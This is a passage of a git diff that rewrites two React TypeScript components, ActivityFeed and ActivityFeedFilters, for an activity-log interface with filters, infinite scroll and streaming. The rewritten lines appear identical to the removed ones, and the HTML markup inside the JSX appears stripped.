+ ); +} diff --git a/ui/src/components/ActivityFeed.tsx b/ui/src/components/ActivityFeed.tsx index 61b3aee2..842a0b2b 100644 --- a/ui/src/components/ActivityFeed.tsx +++ b/ui/src/components/ActivityFeed.tsx @@ -1,430 +1,430 @@ -import { useEffect, useRef, useCallback, useState } from 'react'; -import type { Activity, ResourceRef, ResourceLinkResolver, TenantLinkResolver, TenantRenderer, EffectiveTimeRangeCallback, ErrorFormatter } from '../types/activity'; -import type { - ActivityFeedFilters as FilterState, - TimeRange, -} from '../hooks/useActivityFeed'; -import { useActivityFeed } from '../hooks/useActivityFeed'; -import { ActivityFeedItem } from './ActivityFeedItem'; -import { ActivityFeedItemSkeleton } from './ActivityFeedItemSkeleton'; -import { ActivityFeedFilters } from './ActivityFeedFilters'; -import { ActivityApiClient } from '../api/client'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { Badge } from './ui/badge'; -import { ApiErrorAlert } from './ApiErrorAlert'; -import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './ui/tooltip'; - -export interface ActivityFeedProps { - /** API client instance */ - client: ActivityApiClient; - /** Initial filter settings */ - initialFilters?: FilterState; - /** Initial time range */ - initialTimeRange?: TimeRange; - /** Number of items per page */ - pageSize?: number; - /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ - onResourceClick?: (resource: ResourceRef) => void; - /** Function that resolves resource references to URLs */ - resourceLinkResolver?: ResourceLinkResolver; - /** Function that resolves tenant references to URLs */ - tenantLinkResolver?: TenantLinkResolver; - /** Custom renderer for tenant badges (overrides default TenantBadge) */ - tenantRenderer?: TenantRenderer; - /** Handler called when an activity is clicked */ - onActivityClick?: (activity: Activity) => void; - /** Whether to show in compact mode (for resource detail tabs) */ - compact?: boolean; - /** Layout variant for activity items: 'feed' (default) or 'timeline' */ - variant?: 'feed' | 'timeline'; - /** Filter to a specific resource UID */ - resourceUid?: string; - /** Whether to show filters */ - showFilters?: boolean; - /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ - hiddenFilters?: Array<'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'changeSource'>; - /** Additional CSS class */ - className?: string; - /** Enable infinite scroll (default: true) */ - infiniteScroll?: boolean; - /** Threshold in pixels for triggering load more (default: 200) */ - loadMoreThreshold?: number; - /** Handler called when user wants to create a policy (for empty state) */ - onCreatePolicy?: () => void; - /** Enable real-time streaming (default: false) */ - enableStreaming?: boolean; - /** Callback invoked when the effective time range is resolved */ - onEffectiveTimeRangeChange?: EffectiveTimeRangeCallback; - /** Custom error formatter for customizing error messages */ - errorFormatter?: ErrorFormatter; - /** - * Maximum height for the scroll container (CSS value like '500px' or 'calc(100vh - 300px)'). - * By default, the component uses flex layout (flex-1 min-h-0) which adapts to parent container constraints. - * Only set this if your parent container doesn't have proper height constraints. - * Set to 'none' to explicitly disable any max-height constraint. - */ - maxHeight?: string; - /** Callback invoked when filters or time range change (useful for URL state management) */ - onFiltersChange?: (filters: FilterState, timeRange: TimeRange) => void; -} - -/** - * ActivityFeed displays a chronological list of activities with filtering and pagination. - * Supports optional real-time streaming of new activities. - */ -export function ActivityFeed({ - client, - initialFilters = { changeSource: 'human' }, - initialTimeRange = { start: 'now-7d' }, - pageSize = 30, - onResourceClick, - resourceLinkResolver, - tenantLinkResolver, - tenantRenderer, - onActivityClick, - compact = false, - variant = 'feed', - resourceUid, - showFilters = true, - hiddenFilters = [], - className = '', - infiniteScroll = true, - loadMoreThreshold = 200, - onCreatePolicy, - enableStreaming = false, - onEffectiveTimeRangeChange, - errorFormatter, - maxHeight, - onFiltersChange: onFiltersChangeProp, -}: ActivityFeedProps) { - // Merge resourceUid into initial filters if provided - const mergedInitialFilters: FilterState = { - ...initialFilters, - resourceUid: resourceUid || initialFilters.resourceUid, - }; - - const { - activities, - isLoading, - error, - watchError, - hasMore, - filters, - timeRange, - refresh, - loadMore, - setFilters, - setTimeRange, - isStreaming, - startStreaming, - stopStreaming, - newActivitiesCount, - } = useActivityFeed({ - client, - initialFilters: mergedInitialFilters, - initialTimeRange, - pageSize, - enableStreaming, - autoStartStreaming: true, - onEffectiveTimeRangeChange, - }); - - const scrollContainerRef = useRef(null); - const loadMoreTriggerRef = useRef(null); - // Store the latest loadMore function in a ref to avoid observer re-subscription - const loadMoreRef = useRef(loadMore); - - // Track whether policies exist in the system - const [hasPolicies, setHasPolicies] = useState(null); - const [policiesLoading, setPoliciesLoading] = useState(true); - - // Check for policies on mount - useEffect(() => { - const checkPolicies = async () => { - try { - const policyList = await client.listPolicies(); - setHasPolicies((policyList.items?.length ?? 0) > 0); - } catch { - // If we can't check policies, assume they might exist - setHasPolicies(true); - } finally { - setPoliciesLoading(false); - } - }; - checkPolicies(); - }, [client]); - - // Auto-execute on mount - useEffect(() => { - refresh(); - }, []); // eslint-disable-line react-hooks/exhaustive-deps - - // Update the ref whenever loadMore changes - useEffect(() => { - loadMoreRef.current = loadMore; - }, [loadMore]); - - // Infinite scroll using Intersection Observer - useEffect(() => { - if (!infiniteScroll || !loadMoreTriggerRef.current) return; - - const observer = new IntersectionObserver( - (entries) => { - const entry = entries[0]; - if (entry.isIntersecting && hasMore && !isLoading) { - // Call through the ref to always use the latest function - loadMoreRef.current(); - } - }, - { - root: scrollContainerRef.current, - rootMargin: `${loadMoreThreshold}px`, - threshold: 0, - } - ); - - observer.observe(loadMoreTriggerRef.current); - - return () => { - observer.disconnect(); - }; - }, [infiniteScroll, hasMore, isLoading, loadMoreThreshold]); - - // Handle filter changes - refresh is automatic via the hook - const handleFiltersChange = useCallback( - (newFilters: FilterState) => { - setFilters(newFilters); - onFiltersChangeProp?.(newFilters, timeRange); - }, - [setFilters, onFiltersChangeProp, timeRange] - ); - - // Handle time range changes - refresh is automatic via the hook - const handleTimeRangeChange = useCallback( - (newTimeRange: TimeRange) => { - setTimeRange(newTimeRange); - onFiltersChangeProp?.(filters, newTimeRange); - }, - [setTimeRange, onFiltersChangeProp, filters] - ); - - // Handle manual load more click - const handleLoadMoreClick = useCallback(() => { - loadMore(); - }, [loadMore]); - - // Handle streaming toggle - const handleStreamingToggle = useCallback(() => { - if (isStreaming) { - stopStreaming(); - } else { - startStreaming(); - } - }, [isStreaming, startStreaming, stopStreaming]); - - // Handle actor click - filter by actor name - const handleActorClick = useCallback((actorName: string) => { - setFilters({ - ...filters, - actorNames: [actorName], - }); - }, [filters, setFilters]); - - // Build container classes - use flex layout to properly fill available space - // flex-1 min-h-0 allows the Card to fill parent flex container and enable child scrolling - const containerClasses = compact - ? `flex-1 min-h-0 flex flex-col p-0 shadow-none border-none ${className}` - : `flex-1 min-h-0 flex flex-col p-3 ${className}`; - - // Build list classes - use flex-1 min-h-0 for flex-based scrolling - // Parent containers must have proper height constraints (h-screen/h-full + overflow-hidden) - const effectiveMaxHeight = maxHeight === 'none' ? undefined : maxHeight; - const listClasses = 'flex-1 min-h-0 overflow-y-auto flex flex-col'; - - return ( - - {/* Header with streaming status */} - {enableStreaming && ( -
-
- {isStreaming && !watchError && ( - - - -
- - - - - Streaming activity... -
-
- -

New activities will appear automatically

-
-
-
- )} - {watchError && ( - - - -
- - - - Connection error -
-
- -

Stream connection lost

-
-
-
- )} - {newActivitiesCount > 0 && !watchError && ( - - +{newActivitiesCount} new - - )} -
- -
- )} - - {/* Filters */} - {showFilters && ( - - )} - - {/* Query Error Display */} - - - {/* Watch Stream Error Display */} - - - {/* No Policies Empty State */} - {!policiesLoading && hasPolicies === false && ( -
-
- - - - - - -
-

Get started with activity logging

-

- Activity policies define which resources to track and how to summarize changes. - Create your first policy to start seeing activity logs here. -

- {onCreatePolicy && ( - - )} -
- )} - - {/* Activity List */} -
- {/* Skeleton Loading State - show when loading and no items yet */} - {isLoading && activities.length === 0 && ( - <> - {Array.from({ length: 8 }).map((_, index) => ( - - ))} - - )} - - {/* Empty State - only show when not loading */} - {!isLoading && activities.length === 0 && hasPolicies !== false && ( -
-

No activities found

-

- Try adjusting your filters or time range -

-
- )} - - {activities.map((activity, index) => ( - - ))} - - {/* Load More Trigger for Infinite Scroll */} - {infiniteScroll && hasMore && ( -
- )} - - {/* Load More Button (when infinite scroll is disabled) */} - {!infiniteScroll && hasMore && !isLoading && ( -
- -
- )} - - {/* End of Results */} - {!hasMore && activities.length > 0 && !isLoading && ( -
- No more activities to load -
- )} -
- - ); -} +import { useEffect, useRef, useCallback, useState } from 'react'; +import type { Activity, ResourceRef, ResourceLinkResolver, TenantLinkResolver, TenantRenderer, EffectiveTimeRangeCallback, ErrorFormatter } from '../types/activity'; +import type { + ActivityFeedFilters as FilterState, + TimeRange, +} from '../hooks/useActivityFeed'; +import { useActivityFeed } from '../hooks/useActivityFeed'; +import { ActivityFeedItem } from './ActivityFeedItem'; +import { ActivityFeedItemSkeleton } from './ActivityFeedItemSkeleton'; +import { ActivityFeedFilters } from './ActivityFeedFilters'; +import { ActivityApiClient } from '../api/client'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { Badge } from './ui/badge'; +import { ApiErrorAlert } from './ApiErrorAlert'; +import { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './ui/tooltip'; + +export interface ActivityFeedProps { + /** API client instance */ + client: ActivityApiClient; + /** Initial filter settings */ + initialFilters?: FilterState; + /** Initial time range */ + initialTimeRange?: TimeRange; + /** Number of items per page */ + pageSize?: number; + /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ + onResourceClick?: (resource: ResourceRef) => void; + /** Function that resolves resource references to URLs */ + resourceLinkResolver?: ResourceLinkResolver; + /** Function that resolves tenant references to URLs */ + tenantLinkResolver?: TenantLinkResolver; + /** Custom renderer for tenant badges (overrides default TenantBadge) */ + tenantRenderer?: TenantRenderer; + /** Handler called when an activity is clicked */ + onActivityClick?: (activity: Activity) => void; + /** Whether to show in compact mode (for resource detail tabs) */ + compact?: boolean; + /** Layout variant for activity items: 'feed' (default) or 'timeline' */ + variant?: 'feed' | 'timeline'; + /** Filter to a specific resource UID */ + resourceUid?: string; + /** Whether to show filters */ + showFilters?: boolean; + /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ + hiddenFilters?: Array<'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'changeSource'>; + /** Additional CSS class */ + className?: string; + /** Enable infinite scroll (default: true) */ + infiniteScroll?: boolean; + /** Threshold in pixels for triggering load more (default: 200) */ + loadMoreThreshold?: number; + /** Handler called when user wants to create a policy (for empty state) */ + onCreatePolicy?: () => void; + /** Enable real-time streaming (default: false) */ + enableStreaming?: boolean; + /** Callback invoked when the effective time range is resolved */ + onEffectiveTimeRangeChange?: EffectiveTimeRangeCallback; + /** Custom error formatter for customizing error messages */ + errorFormatter?: ErrorFormatter; + /** + * Maximum height for the scroll container (CSS value like '500px' or 'calc(100vh - 300px)'). + * By default, the component uses flex layout (flex-1 min-h-0) which adapts to parent container constraints. + * Only set this if your parent container doesn't have proper height constraints. + * Set to 'none' to explicitly disable any max-height constraint. + */ + maxHeight?: string; + /** Callback invoked when filters or time range change (useful for URL state management) */ + onFiltersChange?: (filters: FilterState, timeRange: TimeRange) => void; +} + +/** + * ActivityFeed displays a chronological list of activities with filtering and pagination. + * Supports optional real-time streaming of new activities. + */ +export function ActivityFeed({ + client, + initialFilters = { changeSource: 'human' }, + initialTimeRange = { start: 'now-7d' }, + pageSize = 30, + onResourceClick, + resourceLinkResolver, + tenantLinkResolver, + tenantRenderer, + onActivityClick, + compact = false, + variant = 'feed', + resourceUid, + showFilters = true, + hiddenFilters = [], + className = '', + infiniteScroll = true, + loadMoreThreshold = 200, + onCreatePolicy, + enableStreaming = false, + onEffectiveTimeRangeChange, + errorFormatter, + maxHeight, + onFiltersChange: onFiltersChangeProp, +}: ActivityFeedProps) { + // Merge resourceUid into initial filters if provided + const mergedInitialFilters: FilterState = { + ...initialFilters, + resourceUid: resourceUid || initialFilters.resourceUid, + }; + + const { + activities, + isLoading, + error, + watchError, + hasMore, + filters, + timeRange, + refresh, + loadMore, + setFilters, + setTimeRange, + isStreaming, + startStreaming, + stopStreaming, + newActivitiesCount, + } = useActivityFeed({ + client, + initialFilters: mergedInitialFilters, + initialTimeRange, + pageSize, + enableStreaming, + autoStartStreaming: true, + onEffectiveTimeRangeChange, + }); + + const scrollContainerRef = useRef(null); + const loadMoreTriggerRef = useRef(null); + // Store the latest loadMore function in a ref to avoid observer re-subscription + const loadMoreRef = useRef(loadMore); + + // Track whether policies exist in the system + const [hasPolicies, setHasPolicies] = useState(null); + const [policiesLoading, setPoliciesLoading] = useState(true); + + // Check for policies on mount + useEffect(() => { + const checkPolicies = async () => { + try { + const policyList = await client.listPolicies(); + setHasPolicies((policyList.items?.length ?? 0) > 0); + } catch { + // If we can't check policies, assume they might exist + setHasPolicies(true); + } finally { + setPoliciesLoading(false); + } + }; + checkPolicies(); + }, [client]); + + // Auto-execute on mount + useEffect(() => { + refresh(); + }, []); // eslint-disable-line react-hooks/exhaustive-deps + + // Update the ref whenever loadMore changes + useEffect(() => { + loadMoreRef.current = loadMore; + }, [loadMore]); + + // Infinite scroll using Intersection Observer + useEffect(() => { + if (!infiniteScroll || !loadMoreTriggerRef.current) return; + + const observer = new IntersectionObserver( + (entries) => { + const entry = entries[0]; + if (entry.isIntersecting && hasMore && !isLoading) { + // Call through the ref to always use the latest function + loadMoreRef.current(); + } + }, + { + root: scrollContainerRef.current, + rootMargin: `${loadMoreThreshold}px`, + threshold: 0, + } + ); + + observer.observe(loadMoreTriggerRef.current); + + return () => { + observer.disconnect(); + }; + }, [infiniteScroll, hasMore, isLoading, loadMoreThreshold]); + + // Handle filter changes - refresh is automatic via the hook + const handleFiltersChange = useCallback( + (newFilters: FilterState) => { + setFilters(newFilters); + onFiltersChangeProp?.(newFilters, timeRange); + }, + [setFilters, onFiltersChangeProp, timeRange] + ); + + // Handle time range changes - refresh is automatic via the hook + const handleTimeRangeChange = useCallback( + (newTimeRange: TimeRange) => { + setTimeRange(newTimeRange); + onFiltersChangeProp?.(filters, newTimeRange); + }, + [setTimeRange, onFiltersChangeProp, filters] + ); + + // Handle manual load more click + const handleLoadMoreClick = useCallback(() => { + loadMore(); + }, [loadMore]); + + // Handle streaming toggle + const handleStreamingToggle = useCallback(() => { + if (isStreaming) { + stopStreaming(); + } else { + startStreaming(); + } + }, [isStreaming, startStreaming, stopStreaming]); + + // Handle actor click - filter by actor name + const handleActorClick = useCallback((actorName: string) => { + setFilters({ + ...filters, + actorNames: [actorName], + }); + }, [filters, setFilters]); + + // Build container classes - use flex layout to properly fill available space + // flex-1 min-h-0 allows the Card to fill parent flex container and enable child scrolling + const containerClasses = compact + ? `flex-1 min-h-0 flex flex-col p-0 shadow-none border-none ${className}` + : `flex-1 min-h-0 flex flex-col p-3 ${className}`; + + // Build list classes - use flex-1 min-h-0 for flex-based scrolling + // Parent containers must have proper height constraints (h-screen/h-full + overflow-hidden) + const effectiveMaxHeight = maxHeight === 'none' ? undefined : maxHeight; + const listClasses = 'flex-1 min-h-0 overflow-y-auto flex flex-col'; + + return ( + + {/* Header with streaming status */} + {enableStreaming && ( +
+
+ {isStreaming && !watchError && ( + + + +
+ + + + + Streaming activity... +
+
+ +

New activities will appear automatically

+
+
+
+ )} + {watchError && ( + + + +
+ + + + Connection error +
+
+ +

Stream connection lost

+
+
+
+ )} + {newActivitiesCount > 0 && !watchError && ( + + +{newActivitiesCount} new + + )} +
+ +
+ )} + + {/* Filters */} + {showFilters && ( + + )} + + {/* Query Error Display */} + + + {/* Watch Stream Error Display */} + + + {/* No Policies Empty State */} + {!policiesLoading && hasPolicies === false && ( +
+
+ + + + + + +
+

Get started with activity logging

+

+ Activity policies define which resources to track and how to summarize changes. + Create your first policy to start seeing activity logs here. +

+ {onCreatePolicy && ( + + )} +
+ )} + + {/* Activity List */} +
+ {/* Skeleton Loading State - show when loading and no items yet */} + {isLoading && activities.length === 0 && ( + <> + {Array.from({ length: 8 }).map((_, index) => ( + + ))} + + )} + + {/* Empty State - only show when not loading */} + {!isLoading && activities.length === 0 && hasPolicies !== false && ( +
+

No activities found

+

+ Try adjusting your filters or time range +

+
+ )} + + {activities.map((activity, index) => ( + + ))} + + {/* Load More Trigger for Infinite Scroll */} + {infiniteScroll && hasMore && ( +
+ )} + + {/* Load More Button (when infinite scroll is disabled) */} + {!infiniteScroll && hasMore && !isLoading && ( +
+ +
+ )} + + {/* End of Results */} + {!hasMore && activities.length > 0 && !isLoading && ( +
+ No more activities to load +
+ )} +
+ + ); +} diff --git a/ui/src/components/ActivityFeedFilters.tsx b/ui/src/components/ActivityFeedFilters.tsx index 2f8d1045..296e572f 100644 --- a/ui/src/components/ActivityFeedFilters.tsx +++ b/ui/src/components/ActivityFeedFilters.tsx @@ -1,447 +1,447 @@ -import { useState, useCallback, useEffect, useRef, useMemo } from 'react'; -import { formatISO, subDays } from 'date-fns'; -import { Search, X } from 'lucide-react'; - -import type { ActivityFeedFilters as FilterState } from '../hooks/useActivityFeed'; -import type { TimeRange } from '../hooks/useActivityFeed'; -import type { ActivityApiClient } from '../api/client'; -import { useFacets } from '../hooks/useFacets'; -import { ChangeSourceToggle, ChangeSourceOption } from './ChangeSourceToggle'; -import { TimeRangeDropdown } from './ui/time-range-dropdown'; -import { FilterChip } from './ui/filter-chip'; -import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; -import { Input } from './ui/input'; - -export interface ActivityFeedFiltersProps { - /** API client instance for fetching facets */ - client: ActivityApiClient; - /** Current filter state */ - filters: FilterState; - /** Current time range */ - timeRange: TimeRange; - /** Handler called when filters change */ - onFiltersChange: (filters: FilterState) => void; - /** Handler called when time range changes */ - onTimeRangeChange: (timeRange: TimeRange) => void; - /** Whether the filters are disabled (e.g., during loading) */ - disabled?: boolean; - /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ - hiddenFilters?: Array<'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'actions' | 'changeSource'>; - /** Additional CSS class */ - className?: string; -} - -/** - * Preset time ranges - */ -const TIME_PRESETS = [ - { key: 'now-1h', label: 'Last hour' }, - { key: 'now-24h', label: 'Last 24 hours' }, - { key: 'now-7d', label: 'Last 7 days' }, - { key: 'now-30d', label: 'Last 30 days' }, -]; - -/** - * Filter configuration registry - */ -type FilterId = 'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'actions'; - -interface FilterConfig { - id: FilterId; - label: string; - inputMode: 'typeahead' | 'text'; - placeholder?: string; - searchPlaceholder?: string; -} - -const FILTER_CONFIGS: Record = { - resourceKinds: { - id: 'resourceKinds', - label: 'Kind', - inputMode: 'typeahead', - searchPlaceholder: 'Search kinds...', - }, - actorNames: { - id: 'actorNames', - label: 'Actor', - inputMode: 'typeahead', - searchPlaceholder: 'Search actors...', - }, - apiGroups: { - id: 'apiGroups', - label: 'API Group', - inputMode: 'typeahead', - searchPlaceholder: 'Search API groups...', - }, - resourceNamespaces: { - id: 'resourceNamespaces', - label: 'Namespace', - inputMode: 'typeahead', - searchPlaceholder: 'Search namespaces...', - }, - resourceName: { - id: 'resourceName', - label: 'Resource Name', - inputMode: 'text', - placeholder: 'Enter resource name...', - }, - actions: { - id: 'actions', - label: 'Action', - inputMode: 'typeahead', - searchPlaceholder: 'Search actions...', - }, -}; - -/** - * Helper function to convert ISO string to datetime-local format - */ -const formatDatetimeLocal = (isoString: string): string => { - const date = new Date(isoString); - const year = date.getFullYear(); - const month = String(date.getMonth() + 1).padStart(2, '0'); - const day = String(date.getDate()).padStart(2, '0'); - const hours = String(date.getHours()).padStart(2, '0'); - const minutes = String(date.getMinutes()).padStart(2, '0'); - return `${year}-${month}-${day}T${hours}:${minutes}`; -}; - -/** - * Check if the current time range matches a preset - */ -const getSelectedPreset = (timeRange: TimeRange): string => { - const preset = TIME_PRESETS.find((p) => timeRange.start === p.key); - return preset ? preset.key : 'custom'; -}; - -/** - * ActivityFeedFilters provides filter controls for the activity feed - */ -export function ActivityFeedFilters({ - client, - filters, - timeRange, - onFiltersChange, - onTimeRangeChange, - disabled = false, - hiddenFilters = [], - className = '', -}: ActivityFeedFiltersProps) { - const { resourceKinds, actorNames, apiGroups, resourceNamespaces, error: facetsError } = useFacets(client, timeRange, filters); - - // Log facets error for debugging - if (facetsError) { - console.error('Failed to load facets:', facetsError); - } - - // Track which filter was just added to auto-open it - const [pendingFilter, setPendingFilter] = useState(null); - - // Custom time range state - const selectedPreset = getSelectedPreset(timeRange); - const [customStart, setCustomStart] = useState(() => { - if (selectedPreset === 'custom') { - return formatDatetimeLocal(timeRange.start); - } - return formatDatetimeLocal(formatISO(subDays(new Date(), 1))); - }); - const [customEnd, setCustomEnd] = useState(() => { - if (selectedPreset === 'custom' && timeRange.end) { - return formatDatetimeLocal(timeRange.end); - } - return formatDatetimeLocal(formatISO(new Date())); - }); - - // Handle change source change - const handleChangeSourceChange = useCallback( - (value: ChangeSourceOption) => { - onFiltersChange({ - ...filters, - changeSource: value, - }); - }, - [filters, onFiltersChange] - ); - - // Handle time range preset selection - const handleTimePresetSelect = useCallback( - (presetKey: string) => { - onTimeRangeChange({ - start: presetKey, - end: undefined, - }); - }, - [onTimeRangeChange] - ); - - // Handle custom time range apply - const handleCustomRangeApply = useCallback( - (start: string, end: string) => { - setCustomStart(start); - setCustomEnd(end); - onTimeRangeChange({ - start: new Date(start).toISOString(), - end: new Date(end).toISOString(), - }); - }, - [onTimeRangeChange] - ); - - // Get display label for time range - const getTimeRangeLabel = () => { - const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); - if (preset) return preset.label; - if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { - const start = new Date(timeRange.start); - const end = new Date(timeRange.end); - return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; - } - return 'Select time range'; - }; - - // Determine which filters are currently active (have values) and not hidden - const filtersWithValues = useMemo(() => { - const result: FilterId[] = []; - if (filters.resourceKinds && filters.resourceKinds.length > 0 && !hiddenFilters.includes('resourceKinds')) result.push('resourceKinds'); - if (filters.actorNames && filters.actorNames.length > 0 && !hiddenFilters.includes('actorNames')) result.push('actorNames'); - if (filters.apiGroups && filters.apiGroups.length > 0 && !hiddenFilters.includes('apiGroups')) result.push('apiGroups'); - if (filters.resourceNamespaces && filters.resourceNamespaces.length > 0 && !hiddenFilters.includes('resourceNamespaces')) result.push('resourceNamespaces'); - if (filters.resourceName && !hiddenFilters.includes('resourceName')) result.push('resourceName'); - if (filters.actions && filters.actions.length > 0) result.push('actions'); - return result; - }, [filters, hiddenFilters]); - - // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters - const activeFilterIds: FilterId[] = pendingFilter && !filtersWithValues.includes(pendingFilter) - ? [...filtersWithValues, pendingFilter] - : filtersWithValues; - - // Clear pending filter when filter values change (user selected something) - useEffect(() => { - if (pendingFilter && filtersWithValues.includes(pendingFilter)) { - // Filter now has values, clear pending state - setPendingFilter(null); - } - }, [pendingFilter, filtersWithValues]); - - // Build available filters list (exclude hidden filters) - const availableFilters: FilterOption[] = [ - { id: 'resourceKinds', label: 'Kind' }, - { id: 'actorNames', label: 'Actor' }, - { id: 'apiGroups', label: 'API Group' }, - { id: 'resourceNamespaces', label: 'Namespace' }, - { id: 'resourceName', label: 'Resource Name' }, - // 'actions' hidden until backend facet support is available - ].filter((filter) => !hiddenFilters.includes(filter.id as FilterId)); - - // Handle adding a filter - const handleAddFilter = useCallback((filterId: string) => { - setPendingFilter(filterId as FilterId); - }, []); - - // Handle popover close - clear pending filter if no values were selected - const handlePopoverClose = useCallback( - (filterId: FilterId) => { - if (pendingFilter === filterId) { - const hasValues = (() => { - const value = filters[filterId]; - if (filterId === 'resourceName') return !!value; - return Array.isArray(value) && value.length > 0; - })(); - if (!hasValues) { - setPendingFilter(null); - } - } - }, - [pendingFilter, filters] - ); - - // Handle filter value changes - const handleFilterChange = useCallback( - (filterId: FilterId, values: string[]) => { - onFiltersChange({ - ...filters, - [filterId]: values.length > 0 ? values : undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Handle filter clear - const handleFilterClear = useCallback( - (filterId: FilterId) => { - onFiltersChange({ - ...filters, - [filterId]: undefined, - }); - }, - [filters, onFiltersChange] - ); - - // Get options for a specific filter - const getFilterOptions = (filterId: FilterId) => { - switch (filterId) { - case 'resourceKinds': - return resourceKinds - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'actorNames': - return actorNames - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'apiGroups': - return apiGroups - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'resourceNamespaces': - return resourceNamespaces - .filter((facet) => facet.value) - .map((facet) => ({ - value: facet.value, - label: facet.value, - count: facet.count, - })); - case 'actions': - // TODO: Return action facets when backend supports it - return []; - default: - return []; - } - }; - - // Get values for a specific filter - const getFilterValues = (filterId: FilterId): string[] => { - const value = filters[filterId]; - if (filterId === 'resourceName') { - return value ? [value as string] : []; - } - if (filterId === 'actions') { - return (value as string[] | undefined) || []; - } - return (value as string[] | undefined) || []; - }; - - // Local search value for debouncing — keeps input responsive while query runs - const [searchInputValue, setSearchInputValue] = useState(filters.search || ''); - const searchDebounceRef = useRef | null>(null); - // Use refs so the debounced callback never closes over stale values - const filtersRef = useRef(filters); - filtersRef.current = filters; - const onFiltersChangeRef = useRef(onFiltersChange); - onFiltersChangeRef.current = onFiltersChange; - - // Cancel any pending debounce on unmount - useEffect(() => { - return () => { - if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); - }; - }, []); - - const handleSearchChange = useCallback((event: React.ChangeEvent) => { - const value = event.target.value; - setSearchInputValue(value); - if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); - searchDebounceRef.current = setTimeout(() => { - onFiltersChangeRef.current({ ...filtersRef.current, search: value || undefined }); - }, 400); - }, []); - - const handleSearchClear = useCallback(() => { - setSearchInputValue(''); - if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); - onFiltersChangeRef.current({ ...filtersRef.current, search: undefined }); - }, []); - - return ( -
-
- {/* Change Source Toggle */} - {!hiddenFilters.includes('changeSource') && ( - - )} - - {/* Search Input */} -
- - - {searchInputValue && ( - - )} -
- - {/* Active Filter Chips */} - {activeFilterIds.map((filterId) => { - const config = FILTER_CONFIGS[filterId]; - return ( - handleFilterChange(filterId, values)} - onClear={() => handleFilterClear(filterId)} - onPopoverClose={() => handlePopoverClose(filterId)} - inputMode={config.inputMode} - placeholder={config.placeholder} - searchPlaceholder={config.searchPlaceholder} - autoOpen={pendingFilter === filterId} - disabled={disabled} - /> - ); - })} - - {/* Add Filter Dropdown */} - 0} - disabled={disabled} - /> - - {/* Spacer */} -
- - {/* Time Range Dropdown */} - -
-
- ); -} +import { useState, useCallback, useEffect, useRef, useMemo } from 'react'; +import { formatISO, subDays } from 'date-fns'; +import { Search, X } from 'lucide-react'; + +import type { ActivityFeedFilters as FilterState } from '../hooks/useActivityFeed'; +import type { TimeRange } from '../hooks/useActivityFeed'; +import type { ActivityApiClient } from '../api/client'; +import { useFacets } from '../hooks/useFacets'; +import { ChangeSourceToggle, ChangeSourceOption } from './ChangeSourceToggle'; +import { TimeRangeDropdown } from './ui/time-range-dropdown'; +import { FilterChip } from './ui/filter-chip'; +import { AddFilterDropdown, type FilterOption } from './ui/add-filter-dropdown'; +import { Input } from './ui/input'; + +export interface ActivityFeedFiltersProps { + /** API client instance for fetching facets */ + client: ActivityApiClient; + /** Current filter state */ + filters: FilterState; + /** Current time range */ + timeRange: TimeRange; + /** Handler called when filters change */ + onFiltersChange: (filters: FilterState) => void; + /** Handler called when time range changes */ + onTimeRangeChange: (timeRange: TimeRange) => void; + /** Whether the filters are disabled (e.g., during loading) */ + disabled?: boolean; + /** Filters that should be locked and hidden from the UI (programmatically set by parent) */ + hiddenFilters?: Array<'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'actions' | 'changeSource'>; + /** Additional CSS class */ + className?: string; +} + +/** + * Preset time ranges + */ +const TIME_PRESETS = [ + { key: 'now-1h', label: 'Last hour' }, + { key: 'now-24h', label: 'Last 24 hours' }, + { key: 'now-7d', label: 'Last 7 days' }, + { key: 'now-30d', label: 'Last 30 days' }, +]; + +/** + * Filter configuration registry + */ +type FilterId = 'resourceKinds' | 'actorNames' | 'apiGroups' | 'resourceNamespaces' | 'resourceName' | 'actions'; + +interface FilterConfig { + id: FilterId; + label: string; + inputMode: 'typeahead' | 'text'; + placeholder?: string; + searchPlaceholder?: string; +} + +const FILTER_CONFIGS: Record = { + resourceKinds: { + id: 'resourceKinds', + label: 'Kind', + inputMode: 'typeahead', + searchPlaceholder: 'Search kinds...', + }, + actorNames: { + id: 'actorNames', + label: 'Actor', + inputMode: 'typeahead', + searchPlaceholder: 'Search actors...', + }, + apiGroups: { + id: 'apiGroups', + label: 'API Group', + inputMode: 'typeahead', + searchPlaceholder: 'Search API groups...', + }, + resourceNamespaces: { + id: 'resourceNamespaces', + label: 'Namespace', + inputMode: 'typeahead', + searchPlaceholder: 'Search namespaces...', + }, + resourceName: { + id: 'resourceName', + label: 'Resource Name', + inputMode: 'text', + placeholder: 'Enter resource name...', + }, + actions: { + id: 'actions', + label: 'Action', + inputMode: 'typeahead', + searchPlaceholder: 'Search actions...', + }, +}; + +/** + * Helper function to convert ISO string to datetime-local format + */ +const formatDatetimeLocal = (isoString: string): string => { + const date = new Date(isoString); + const year = date.getFullYear(); + const month = String(date.getMonth() + 